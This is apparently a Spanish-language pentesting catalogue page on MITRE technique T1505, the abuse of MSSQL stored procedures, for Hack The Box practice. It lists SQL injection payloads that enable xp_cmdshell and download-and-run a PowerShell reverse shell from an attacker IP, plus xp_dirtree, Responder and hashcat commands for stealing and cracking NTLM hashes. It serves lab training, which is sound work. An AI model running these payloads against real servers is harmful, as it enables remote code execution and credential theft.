Procedimientos almacenados de SQL
Subtécnica de T1505 Componente de software de servidor ↗
Usar procedimientos de la base de datos (xp_cmdshell en MSSQL) para ejecutar comandos en el sistema.
Cómo aparece en Hack The Box
Con acceso a un MSSQL, mira si eres sysadmin para activar xp_cmdshell; si no, xp_dirtree hacia tu IP filtra el hash NTLM de la cuenta de servicio y los linked servers pueden darte más privilegios.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Pentesting de MSSQL: xp_cmdshell, suplantación, servidores enlazados y robo de hashes 4 min de lectura Atacar SQL Server en un dominio: conectarse con mssqlclient, ejecutar comandos con xp_cmdshell, escalar con EXECUTE AS, servidores enlazados y robo de hashes.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Payloads de inyección SQL › MSSQL
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/rev.ps1'')"';--
'; EXEC master..xp_dirtree '\\10.10.14.5\share';--
Antes, en tu máquina, sudo responder -I tun0 (o impacket-smbserver share . -smb2support). Crackea el hash con hashcat -m 5600.
impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-auth
Impacket › Más ejemplos
impacket-mssqlclient box.htb/usuario:'Password123!'@10.10.11.20 -windows-auth
Responder › Capturar hashes
EXEC master..xp_dirtree '\\10.10.14.5\share'
Ningún comando coincide.